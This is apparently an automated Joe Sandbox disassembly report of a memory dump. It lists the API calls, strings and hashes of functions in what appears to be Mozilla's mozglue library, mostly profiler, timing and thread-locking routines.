InitOnceExecuteOnce.KERNEL32(6CBBF818,6CB3F240,?,?), ref: 6CB44612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB44636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CB44644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB4466D
VerSetConditionMask.NTDLL ref: 6CB4469F
VerSetConditionMask.NTDLL ref: 6CB446AB
VerSetConditionMask.NTDLL ref: 6CB446B2
VerSetConditionMask.NTDLL ref: 6CB446B9
VerSetConditionMask.NTDLL ref: 6CB446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CB446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CB446FD

Strings

kernel32.dll, xrefs: 6CB444CD
NativeNtBlockSet_Write, xrefs: 6CB446F7
user32.dll, xrefs: 6CB44557, 6CB4463F
l, xrefs: 6CB44578
WRusr.dll, xrefs: 6CB444B5

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 688fe874dc3fe8e27157de98dec859b70df8a5b6fb35e9f5aca50f561dc1d303
Instruction ID: d4aa1617439dcaf4548c88db760a81016db2e7fbfadc4e5d332ce7e7cc61e15e
Opcode Fuzzy Hash: 688fe874dc3fe8e27157de98dec859b70df8a5b6fb35e9f5aca50f561dc1d303
Instruction Fuzzy Hash: C46115B8A083C4AFEF008F65CC49BA97BB8EB46308F04C498F5089B651DFB09955CF56

Function 6CB7F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB7F8F9

Part of subcall function 6CB46390: GetCurrentThreadId.KERNEL32 ref: 6CB463D0
Part of subcall function 6CB46390: AcquireSRWLockExclusive.KERNEL32 ref: 6CB463DF
Part of subcall function 6CB46390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB4640E

ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F93A
GetCurrentThreadId.KERNEL32 ref: 6CB7F98A
GetCurrentThreadId.KERNEL32 ref: 6CB7F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7F716

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

Part of subcall function 6CB3B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CB3B5E0

GetCurrentThreadId.KERNEL32 ref: 6CB7F739
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7F746
GetCurrentThreadId.KERNEL32 ref: 6CB7F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBB385B,00000002,?,?,?,?,?), ref: 6CB7F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB7F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB7F866
free.MOZGLUE(?), ref: 6CB7FA0C

Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB45E8C
Part of subcall function 6CB45E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45E9D
Part of subcall function 6CB45E60: GetCurrentThreadId.KERNEL32 ref: 6CB45EAB
Part of subcall function 6CB45E60: GetCurrentThreadId.KERNEL32 ref: 6CB45EB8
Part of subcall function 6CB45E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45ECF
Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CB45F27
Part of subcall function 6CB45E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CB45F47
Part of subcall function 6CB45E60: GetCurrentProcess.KERNEL32 ref: 6CB45F53
Part of subcall function 6CB45E60: GetCurrentThread.KERNEL32 ref: 6CB45F5C
Part of subcall function 6CB45E60: GetCurrentProcess.KERNEL32 ref: 6CB45F66
Part of subcall function 6CB45E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB45F7E

free.MOZGLUE(?), ref: 6CB7F9C5
free.MOZGLUE(?), ref: 6CB7F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CB7F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB7F9A6
Thread , xrefs: 6CB7F789
" attempted to re-register as ", xrefs: 6CB7F858

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f66cbc4b7804c821aeac387c3a11758f19a73f44d9b4f85eb87e6037909595f0
Instruction ID: d3e7d11e185325153e67adfc5ef723505db4b4a6880202a5af7ec6abd7d9ef42
Opcode Fuzzy Hash: f66cbc4b7804c821aeac387c3a11758f19a73f44d9b4f85eb87e6037909595f0
Instruction Fuzzy Hash: DC812675A042809FDB20DF24C880BAEB7B5EF85308F45452DE85997B51EF30E909CBA7

Function 6CB45E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45E9D

Part of subcall function 6CB55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB556EE,?,00000001), ref: 6CB55B85
Part of subcall function 6CB55B50: EnterCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55B90
Part of subcall function 6CB55B50: LeaveCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55BD8
Part of subcall function 6CB55B50: GetTickCount64.KERNEL32 ref: 6CB55BE4

GetCurrentThreadId.KERNEL32 ref: 6CB45EAB
GetCurrentThreadId.KERNEL32 ref: 6CB45EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB45ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CB46017

Part of subcall function 6CB34310: moz_xmalloc.MOZGLUE(00000010,?,6CB342D2), ref: 6CB3436A
Part of subcall function 6CB34310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB342D2), ref: 6CB34387

moz_xmalloc.MOZGLUE(00000004), ref: 6CB45F47
GetCurrentProcess.KERNEL32 ref: 6CB45F53
GetCurrentThread.KERNEL32 ref: 6CB45F5C
GetCurrentProcess.KERNEL32 ref: 6CB45F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB45F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CB45F27

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB45E8C

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB4605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB455E1), ref: 6CB460CC

Strings

GeckoMain, xrefs: 6CB45ECE, 6CB46015

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: dfda15fe933fce871aa95aa4fbf30205104478d85729af6521ad9f0a9ff92f57
Instruction ID: bfeed338f2b6340d7fe02e3f34dd4191aade1d16eef4d99801dfd52e2c01845a
Opcode Fuzzy Hash: dfda15fe933fce871aa95aa4fbf30205104478d85729af6521ad9f0a9ff92f57
Instruction Fuzzy Hash: 5471A1B46097809FDB01DF28C4C0A6ABBF0FF59304F54496DE48687B52DB31E948CB56

Function 6CB49590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CB33217
Part of subcall function 6CB331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CB33236
Part of subcall function 6CB331C0: FreeLibrary.KERNEL32 ref: 6CB3324B
Part of subcall function 6CB331C0: __Init_thread_footer.LIBCMT ref: 6CB33260
Part of subcall function 6CB331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CB3327F
Part of subcall function 6CB331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB3328E
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB332AB
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB332D1
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB332E5
Part of subcall function 6CB331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB49675
__Init_thread_footer.LIBCMT ref: 6CB49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB49707
__Init_thread_footer.LIBCMT ref: 6CB4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB497B7
FreeLibrary.KERNEL32 ref: 6CB497D0
FreeLibrary.KERNEL32 ref: 6CB497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49824

Strings

NtMapViewOfSection, xrefs: 6CB49701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB49670
ntdll.dll, xrefs: 6CB496E3
MapViewOfFileNuma2, xrefs: 6CB497B1

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: eea12de27e946a742daaa2a938f0c83b39142b08233e811788e49a95c6c5224f
Instruction ID: c20a7589ebbf7c7b2ac1a8f7121c78b828788b70446b38a5f9c54f8d0acc9327
Opcode Fuzzy Hash: eea12de27e946a742daaa2a938f0c83b39142b08233e811788e49a95c6c5224f
Instruction Fuzzy Hash: 89612579B042859FDF00CF6AD988B9A3BB8EB5A314F108559FD0593B54DF30A904CB96

Function 6CB96660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CBBF618), ref: 6CB96694
GetThreadId.KERNEL32(?), ref: 6CB966B1
GetCurrentThreadId.KERNEL32 ref: 6CB966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB966E1
EnterCriticalSection.KERNEL32(6CBBF618), ref: 6CB96734
GetCurrentProcess.KERNEL32 ref: 6CB9673A
LeaveCriticalSection.KERNEL32(6CBBF618), ref: 6CB9676C
GetCurrentThread.KERNEL32 ref: 6CB967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB96868
RtlCaptureContext.NTDLL ref: 6CB9687F

Strings

WalkStack64, xrefs: 6CB96890

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 17ace08df3a7e2ed5690cd6071d9ff4fc99f9176c34bed7e8062eafe3c9457fc
Instruction ID: a7322b5301b8d529742caa16f97f244e535710f0772d7e2345bee32eb9bffa6c
Opcode Fuzzy Hash: 17ace08df3a7e2ed5690cd6071d9ff4fc99f9176c34bed7e8062eafe3c9457fc
Instruction Fuzzy Hash: 0051BC71A09381AFDB51CF24C884B5EBBF4FF8A714F00492DF99997650DB74A908CB92

Function 6CB7DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7DE73
GetCurrentThreadId.KERNEL32 ref: 6CB7DF7D
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7DF8A
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB7DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB44A68), ref: 6CB7DE7B

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB44A68), ref: 6CB7DEB8
free.MOZGLUE(00000000,?,6CB44A68), ref: 6CB7DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB7DF38

Strings

<none>, xrefs: 6CB7DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB7E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CB7DE83

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: ad4d90da4df5ee9bc13ccebf689c9f8efd3e3452438ed5027ac4499a695ce582
Instruction ID: 09b89898754c22826930ab4f558796efacc6d5863522da341a263516e7d829f4
Opcode Fuzzy Hash: ad4d90da4df5ee9bc13ccebf689c9f8efd3e3452438ed5027ac4499a695ce582
Instruction Fuzzy Hash: 1741E23DB011909BEF209B79E8487AEB775EB45358F140019ED299BB01CF719805CBBA

Function 6CB8D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D52A
GetCurrentThreadId.KERNEL32 ref: 6CB8D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D55F
free.MOZGLUE(00000000), ref: 6CB8D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB8D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB8D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D652
GetCurrentThreadId.KERNEL32 ref: 6CB8D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB8D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8D6A2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: fbc79d3465bc7ab6c82f0d5d088728db0ab5bb9f0750e6489ecabacf8686fdc6
Instruction ID: 827accb849d10e72628d2c2b302520991f01a2d03593b6c19eaa29efed7d4d85
Opcode Fuzzy Hash: fbc79d3465bc7ab6c82f0d5d088728db0ab5bb9f0750e6489ecabacf8686fdc6
Instruction Fuzzy Hash: C5518B71605749DFC704DF34C888A9ABBF4FF89318F108A2EE84A87721DB30A945CB95

Function 6CB55670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB55744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB557BC
GetTickCount64.KERNEL32 ref: 6CB558CB
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB558F3
__aulldiv.LIBCMT ref: 6CB55945
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CBBF638,?,?,?,?), ref: 6CB559E9

Strings

MOZ_APP_RESTART, xrefs: 6CB556CC

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 51ddc240124709ba433a276c8bfaf7697d47ba89ee1f4a592b486900501abd3c
Instruction ID: c3a37c3c4afdf7ae3886eaecb5a0eb754e59263d077d0591ca8e45892058d19d
Opcode Fuzzy Hash: 51ddc240124709ba433a276c8bfaf7697d47ba89ee1f4a592b486900501abd3c
Instruction Fuzzy Hash: A0C19F79A087819FDB05CF28C44066EB7F1FFCA715F458A1DE8C597660DB30A889CB86

Function 6CB7EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB44A68), ref: 6CB7945E
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB79470
Part of subcall function 6CB79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB79482
Part of subcall function 6CB79420: __Init_thread_footer.LIBCMT ref: 6CB7949F

GetCurrentThreadId.KERNEL32 ref: 6CB7EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB7EC8C

Part of subcall function 6CB794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB794EE
Part of subcall function 6CB794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB79508

GetCurrentThreadId.KERNEL32 ref: 6CB7ECA1
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB7ECC5
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB7ED19
CloseHandle.KERNEL32(?), ref: 6CB7ED28
free.MOZGLUE(00000000), ref: 6CB7ED2F
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB7EC94

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d8a04a930eca5a0c23c501c30a65cb6ade6a4a980e49d67683985fb0f796b3f0
Instruction ID: e50eb2ad3ff24e24d1f58f627943850017e7fd0c9315e18cf4cb761de7299dcd
